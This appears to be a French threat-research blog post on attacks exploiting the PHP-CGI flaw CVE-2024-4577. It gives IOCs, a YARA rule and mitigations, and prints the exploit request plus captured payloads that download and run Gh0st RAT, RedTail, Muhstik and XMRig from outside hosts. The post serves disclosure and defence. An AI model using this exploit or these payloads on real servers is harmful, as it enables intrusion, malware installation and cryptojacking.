Exploitations « in the wild » de la vulnérabilité CVE-2024-4577 un jour après la divulgation
Commentaires éditoriaux et additionnels de Tricia Howard
Synthèse
L'équipe Security Intelligence Response Team (SIRT) d'Akamai a surveillé l'activité liée à CVE-2024-4577, vulnérabilité PHP qui affecte les installations exécutant le mode CGI et qui a été révélée en juin 2024.
Cette vulnérabilité affecte principalement les installations Windows utilisant les paramètres régionaux chinois et japonais, mais il est possible qu'elle s'applique à un plus grand nombre d'installations.
Dès le lendemain de la divulgation, l'équipe SIRT a observé de nombreuses tentatives d'exploitation abusive de cette vulnérabilité, indiquant une forte exploitabilité et une adoption rapide par les acteurs malveillants.
Les exploitations incluent l'injection de commandes et plusieurs campagnes de logiciels malveillants : Gh0st RAT, cryptomineurs RedTail et XMRig.
Akamai App & API Protector a automatiquement atténué les exploitations ciblant nos clients.
Dans ce billet de blog, nous avons inclus une liste complète d'indicateurs de compromission (IOC) pour les différentes exploitations dont nous discutons.
Introduction
Ces dernières années, le délai entre la divulgation et l'exploitation a considérablement diminué. En fait, la plupart des activités malveillantes ont lieu dans le premier mois qui suit le correctif. En mai 2024, le délai moyen de début de l'exploitation est d'environ 4 jours après qu'une vulnérabilité est rendue publique, ce qui ne laisse pratiquement aucun temps aux défenseurs pour se préparer. Ce n'est qu'une partie de l'attaque contre les vulnérabilités : les attaquants abusent également continuellement des vulnérabilités d'un jour (même certaines qui ont plusieurs années) pour s'assurer que leurs efforts sont récompensés.
Un des exemples les plus récents de cette attaque réside dans une vulnérabilité critique découverte dans PHP (versions 8.1.*, avant 8.1.29, 8.2.* avant 8.2.20, et 8.3.* avant 8.3.8). Cette vulnérabilité est causée par la façon dont les gestionnaires PHP et CGI traitent certains caractères Unicode, ce qui peut permettre à un attaquant de réaliser l'exécution de code à distance (RCE). Cette vulnérabilité est incroyablement simple à exploiter, et nous avons observé une grande diversité d'acteurs malveillants profitant de la faille pour cibler les dispositifs vulnérables.
Dans ce billet de blog, nous décrirons certaines des tentatives d'exploitation de cette vulnérabilité que nous avons observées, discuterons de leurs conséquences et présenterons les indicateurs de compromission (IOC) que nous avons recueillis.
Exploitation de CVE-2024-4577
Un des facteurs dans la détermination de la criticité est la facilité d'exploitation, qui est assez simple à exécuter pour un acteur malveillant. Pour exécuter une RCE, un attaquant a juste besoin d'envoyer du code PHP au serveur et de le faire (mal)interpréter.
Comme dans le cas de CVE-2012-1823, l'exploitation de cette vulnérabilité est basée sur l'utilisation de php://input pour intégrer le code dans le corps de la requête. Dans PHP, php://input est un flux d'E/S en lecture seule qui vous permet de lire des données brutes à partir du corps de la requête. Une option couramment utilisée pour cette exploitation est le PHP auto_prepend_file, qui spécifie le nom d'un fichier qui est automatiquement analysé avant le fichier principal. Comme le contenu du fichier est analysé en premier, cela garantit que le code d'un attaquant soit inclus avant que tout autre code ne soit exécuté.
De plus, de nombreux attaquants choisissent d'ajouter l'option allow_url_include, qui permet la récupération de données à partir d'emplacements distants et des fonctions telles que fopen et file_get_contents.
Injection de commande
Dans le mode CGI de PHP, un serveur Web va analyser les requêtes HTTP et les transmettre à un script PHP, qui effectue un traitement supplémentaire sur celles-ci. Par exemple, les chaînes de requête sont analysées et transmises à l'interprète PHP par le biais de la ligne de commande. Ainsi une requête comme http://host/cgi.php?foo=bar pourrait être exécutée en tant que php.exe cgi.php foo=bar.
Cela laisse une voie ouverte pour l'injection de commandes, de sorte que les entrées sont assainies avant d'invoquer PHP.exe. CVE-2024-4577 est une faille qui permet à un attaquant d'échapper à la ligne de commande et de passer des arguments à interpréter directement par PHP. La vulnérabilité elle-même réside dans la façon dont les caractères Unicode sont convertis en ASCII. La figure 1, avec l'aimable autorisation de watchTowr Lab et son compte-rendu sur CVE-2024-4577, présente deux invocations de php.exe — l'une est malveillante, l'autre bénigne — et illustre à quel point il est difficile de déterminer laquelle est laquelle.
Pour l'humain lisant ceci, elles se ressemblent, mais il existe des différences dans la façon dont la machine les interprète (figure 2). Lorsque vous regardez ces arguments en utilisant un éditeur hexadécimal, il révèle que la première requête utilise un tiret standard (0x2D), alors que la deuxième requête utilise un « trait d'union conditionnel » (0xAD).
Les différentes interprétations permettent à l'attaque de se produire. Si un utilisateur passe un trait d'union conditionnel à un gestionnaire CGI, il ne ressentira pas le besoin de s'y soustraire. PHP applique le meilleur mappage pour le traitement Unicode, et donc supposera qu'un utilisateur a l'intention de passer un tiret standard alors qu'il a en réalité passé un trait d'union conditionnel. Comme il interprète ce trait d'union conditionnel comme un tiret standard, il permet à un attaquant d'ajouter des arguments de ligne de commande supplémentaires, en commençant par des tirets, dans le processus PHP pour la RCE.
Pour compléter cette explication et vous aider à comprendre comment tout se conjugue, nous avons inclus un exemple de charge utile malveillante capturée « in the wild » (Figure 3), et la commande résultante qui serait exécutée par le système hôte à la suite du traitement de cette requête (Figure 4).
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Figure 3 : Exemple de requête malveillante
php.exe -d allow_url_include -d auto_prepend_file=php://input
Figure 4 : La requête malveillante après le traitement
Documenter les tentatives d'exploitation
Logiciel malveillant Gh0st RAT
Les acteurs malveillants ont poursuivi la tendance du « délai rapide de la divulgation à l'exploitation » et ont rapidement exploité cette nouvelle vulnérabilité. Nous avons observé des tentatives d'exploitation ciblant cette faille PHP sur notre réseau de leurre dans les 24 heures suivant sa divulgation.
Une de ces tentatives impliquait le logiciel malveillant Gh0st RAT (Figure 5), qui est un outil d'accès à distance open source qui existe depuis plus de 15 ans. Il s'agissait d'un exécutable Windows empaqueté par UPX.
Content-Type: application/x-www-form-urlencoded
User-Agent: python-requests/2.22.0
URI:
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('certutil.exe -urlcache -f http://147.50.253[.]109:44119/phps.exe phpsm.exe&start phpsm.exe');?>
Adresse IP du proxy : 23.237.182[.]122
Date : 9 juin 2024
Lors de l'exécution du logiciel malveillant dans un environnement sandbox, il a supprimé un exécutable supplémentaire appelé « Iqgqosc.exe », qui était également empaqueté par UPX. Il passe ensuite à l'énumération des lecteurs et périphériques connectés et interroge le registre. Il se renomme également en « A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe ».
Il a fait escale sur le serveur de commande et de contrôle basé en Allemagne 146.19.100[.]7 sur le port 8001.
L'adresse IP 147.50.253[.]109 avait plusieurs certificats portant le nom commun (CN) « BangCloud », qui semblait être associé à un petit fournisseur d'hébergement de serveurs situé en Thaïlande. La plupart des adresses IP associées à ce CN appartenaient également au même CIDR de 147.50.253[.]109 et toutes étaient signalées par VirusTotal comme ayant des liens avec des fichiers malveillants. La plupart de ces adresses IP avaient également des hachages et des noms de fichiers qui se chevauchaient pour ces résultats. La figure 6 montre l'impression MITRE ATT&CK Navigator pour l'échantillon de RAT Gh0st fourni.
Cryptomineur Redtail
Les pots de miel de l'équipe SIRT ont également observé une opération de cryptominage RedTail utilisant CVE-2024-4577 dans les jours suivant la divulgation de la vulnérabilité. L'attaquant a envoyé une requête similaire aux autres opérations RedTail précédentes, abusant du défaut de trait d'union conditionnel avec « %ADd », pour exécuter une requête wget pour un script shell. Ce script envoie une requête réseau supplémentaire à la même adresse IP basée en Russie pour récupérer une version x86 du logiciel malveillant de cryptominage RedTail (Figure 7).
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux; Linux x86_64; en-US) Gecko/20100101 Firefox/122.0
URI:
/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
POST DATA:
<?php shell_exec("SC=\$(wget -O- http://185.172.128[.]93/sh || curl http://185.172.128[.]93/sh); echo \"\$SC\" | sh -s cve_2024_4577"); ?>
Le script shell tente de télécharger le fichier de minage en utilisant wget ou curl, avec une connexion TCP brute comme méthode de repli. Il recherche les répertoires que la victime actuelle possède et qui ont des autorisations de lecture, d'écriture et d'exécution, à l'exclusion des répertoires montés avec l'option « noexec », ainsi que « /tmp » et « /proc ». Ensuite, il :
- Récupère l'architecture du système
- Teste les autorisations d'écriture en créant et en supprimant des fichiers de test
- Télécharge et exécute sa charge utile en fonction de l'architecture de la victime, renommant le fichier en « .redtail»
Les architectures présentes dans le script shell incluent celles qui ne s'appliquent pas aux périphériques Windows, ce qui est probablement juste le résultat des acteurs malveillants réutilisant des scripts génériques et ne les adaptant pas à cette vulnérabilité en particulier.
Logiciel malveillant Muhstik
Une autre campagne qui abuse de cette exploitation et qui a été observée dans nos pots de miel était un script shell qui télécharge une version du logiciel malveillant Muhstik (Figure 8).
User-Agent: python-requests/2.22
URI:
/?%ADd+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('curl 86.48.2[.]49/3sh')?>;echo 1337; die;
Le script shell télécharge un fichier appelé « pty3 » à partir d'une adresse IP différente, qui s'avère être un fichier ELF. Une analyse plus approfondie montre qu'il s'agit probablement d'un échantillon de logiciels malveillants Muhstik, qui a été précédemment documenté comme ciblant l'Internet des objets et les serveurs Linux à des fins de cryptominage et de déni de service distribué (DDoS).
Il présente des modèles et des conventions de nommage comparables aux instances précédemment signalées de logiciels malveillants Muhstik, tels que « pty3 ». Il crée également plusieurs répertoires associés au logiciel malveillant Muhstik, tels que « /var/run/pty3 », « /dev/shm/pty3 », « /var/tmp/pty3 », et « /var/lock/pty3 ».
De plus, le domaine de commande et de contrôle qu'il appelait — p.findmeatthe[.]top — a récemment été documenté dans une publication séparée sur une campagne de logiciels malveillants Muhstik, qui communique par le biais d'Internet Relay Chat.
XMRig
Nous avons observé une quatrième campagne abusant de cet exploitation et qui impliquait XMR Rig et exécutait la commande suivante :
URI:
/test.hello?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input
POST DATA (Base64 Encoded):
<?php $cmd=base64_decode('cG93ZXJzaGVsbCAtQ29tbWFuZCAiJHdjID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgJHRlbXBmaWxlID0gW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcEZpbGVOYW1lKCk7ICR0ZW1wZmlsZSArPSAnLmJhdCc7ICR3Yy5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly9kb3dubG9hZC5jM3Bvb2wub3JnL3htcmlnX3NldHVwL3Jhdy9tYXN0ZXIvc2V0dXBfYzNwb29sX21pbmVyLmJhdCcsICR0ZW1wZmlsZSk7ICYgJHRlbXBmaWxlIDQ5dzhnc0x3N1V3VVZzelVCdFl1amROMU1jTmtvZVl1Y1RjdGFlUFg4bm1iaktBQnpKOVMxcmlnV2RoNUVpVVQxejROUEFQY2h4VDdSYUpYTjNmVVJVcE02RjZLR2p5OyBSZW1vdmUtSXRlbSAtRm9yY2UgJHRlbXBmaWxlIg==');system($cmd) ?>
POST DATA (Base64 Decoded):
powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://download.c3pool[.]org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile); & $tempfile 49w8gsLw7UwUVszUBtYujdN1McNkoeYucTctaePX8nmbjKABzJ9S1rigWdh5EiUT1z4NPAPchxT7RaJXN3fURUpM6F6KGjy; Remove-Item -Force $tempfile"
La commande injectée utilise PowerShell pour télécharger et exécuter un script pour faire tourner XMRig à partir d'un pool de minage distant, suivi d'un nettoyage des fichiers temporaires à des fins de dissimulation.
Atténuations
Nous vous recommandons d'appliquer rapidement les correctifs nécessaires pour les organisations touchées par cette vulnérabilité et de vous engager dans la surveillance des indicateurs de compromission.
Les clients qui utilisent Akamai Adaptive Security Engine en mode automatique et dont le groupe Attaque par injection de commandes est défini sur Refuser disposent de mesures d'atténuation automatiquement activées contre ces types d'attaques.
Les clients qui utilisent Adaptive Security Engine en mode manuel doivent confirmer qu'ils ont le groupe Attaque par injection de commande ou la règle individuelle suivante en mode Deny. En fonction de la charge utile, une ou plusieurs de ces règles atténuent cette vulnérabilité :
- 969151 v1 — Attaque par injection PHP (balise d'ouverture)
- 959977 v1 — Attaque par injection PHP (remplacement de la configuration)
- 3000155 v1 — Attaque par injection CMD détectée (PHP/filtre de données détecté)
- 3000171 v3— Webshell/Backdoor File Upload Attempt (tentative de téléchargement de fichier Webshell/Backdoor)
Comme toujours, vous devez vérifier fréquemment votre console pour obtenir les mises à jour et les ajouts aux jeux de règles. Peu de temps après la publication des exploitations, nous avons observé une quantité massive d'analyses cherchant à exploiter cette vulnérabilité. Comme pour la plupart des vulnérabilités avec des exploitations publiques, la grande majorité des requêtes provenaient de chasseurs de bugs et d'autres scanners. Ce trafic a été capté et bloqué par plusieurs règles Adaptive Security Engine (Figures 9 et 10).
Cependant, tout le trafic qui cherchait à exploiter cette vulnérabilité ne provenait pas de chasseurs de bugs. Alors qu'Adaptive Security Engine bloquait ces requêtes, il effectuait également des atténuations automatiques pour nos clients à partir des mêmes failles malveillantes observées par nos pots de miel (Figure 11).
De plus, il existait une exploitation bloquée par Adaptive Security Engine qui n'a pas été détectée par nos pots de miel. Dans la charge utile de la figure 12, un attaquant tentait de copier un fichier d'un serveur qu'il contrôlait vers le répertoire racine du serveur cible. Le fichier copié « up.txt » permettrait à l'attaquant de télécharger des fichiers supplémentaires en utilisant le point de terminaison « /xl.php ». L'acteur malveillant pourrait l'utiliser pour télécharger d'autres fichiers malveillants, tels que des web shells ou des logiciels malveillants. Plus important encore, en créant un autre moyen de télécharger des fichiers, l'attaquant pourrait conserver l'accès même après l'application du correctif pour CVE-2024-4577.
Conclusion
Entre l'utilisation de divers outils d'automatisation et un manque de supervision des entreprises, les attaquants ont de bonnes chances de réussir. Le temps de plus en plus court que les défenseurs doivent consacrer à leur protection après la divulgation d'une nouvelle vulnérabilité constitue un autre risque de sécurité critique. Cela est particulièrement vrai pour cette vulnérabilité PHP en raison de sa grande exploitabilité et de son adoption rapide par les acteurs malveillants.
Le groupe Security Intelligence d'Akamai continuera à surveiller ces menaces et à les signaler afin de sensibiliser nos clients et la communauté en général. Pour accéder à d'autres recherches, suivez-nous sur X(ex-Twitter) pour connaître les dernières actualités.
Gh0st RAT
Hachage SHA256
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e
Noms de fichiers
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe
phps.exe
Iqgqosc.exe
Adresses IPv4
147.50.253[.]109
146.19.100[.]7
23.237.182[.]122
BangCloud a lié des indicateurs de compromission à des accès sur VirusTotal
147.50.253[.]220
147.50.253[.]222
147.50.253[.]225
147.50.253[.]219
147.50.253[.]231
147.50.253[.]99
147.50.253[.]100
147.50.253[.]228
147.50.253[.]5
147.50.253[.]4
154.197.12[.].156
147.50.253[.]110
147.50.253[.]102
147.50.253[.]218
147.50.253[.]23
147.50.253[.]11
147.50.253[.]163
147.50.253[.]2
147.50.253[.]116
147.50.253[.]18
147.50.253[.]109
147.50.253[.]106
147.50.253[.]112
147.50.253[.]111
147.50.253[.]7
147.50.253[.]104
147.50.253[.]167
147.50.253[.]119
147.50.253[.]113
147.50.253[.]103
147.50.253[.]107
147.50.253[.]105
147.50.253[.]114
147.50.253[.]108
147.50.253[.]101
147.50.253[.]117
147.50.253[.]115
147.50.229[.]12
Techniques MITRE ATT&CK
T1091 : Réplication par le biais d'un support amovible
T1547 : Démarrage automatique ou ouverture de session
T1056 : Saisie d'entrée
T1112 : Modifier le registre
T1003 : Dumping des informations d'identification SE
T1120 : Découverte de périphériques
T1027 : Fichiers ou informations brouillés
T1071 : Protocole de couche d'application
T1082 : Découverte des informations système
T1571 . Port non standard
T1057 . Découverte de processus
RedTail
Adresses IPv4
185.172.128[.]93
Hachages SHA256
2c602147c727621c5e98525466b8ea78832abe2c3de10f0b33ce9a4adea205eb
0d70a044732a77957eaaf28d9574d75da54ae430d8ad2e4049bd182e13967a6f
ab897157fdef11b267e986ef286fd44a699e3699a458d90994e020619653d2cd
9753df3ea4b9948c82310f64ff103685f78af85e3e08bb5f0d0d44047c63c315
19a06de9a8b66196fa6cc9e86824dee577e462cbeaf36d715c8fea5bcb08b54d
Noms de fichiers
sh : Script Shell
X86_64 : Charge utile Redtail
.redtail : Charge utile RedTail
Règles YARA
rule redtail_miner {
meta:
author = "Akamai SIRT"
date = "06/24/2024"
version = "1.0"
description = "YARA Rule for Red Tail Crypto Miner and Shell Script"
strings:
$a1 = "rm -rf .redtail"
$a2 = "mv x86_64 .redtail"
$a3 = "mv i686 .redtail"
$a4 = "mv aarch64 .redtail"
$a5 = "mv arm7 .redtail"
$a6 = "./.redtail $1 > /dev/null 2>&1"
condition:
2 of ($*)
}
Logiciel malveillant Muhstik
Hachage script shell SHA256
1ae2fef05798f0f27e9de76fcef0217f282090fab1ba750623ca36b413151434
Hachage du fichier ELF SHA256
9e28f942262805b5fb59f46568fed53fd4b7dbf6faf666bedaf6ff22dd416572
Noms de fichiers
3sh : Script Shell
Pty3 : Charge utile de logiciel malveillant Muhstik
Adresses IPv4
147.139.29[.]220
86.48.2[.]49
185.201.8[.]176
194.59.165[.]52
156.67.218[.]115
Domaines
p.findmeatthe[.]top
p.deutschland-zahlung[.]eu
p.shadow-mods[.]net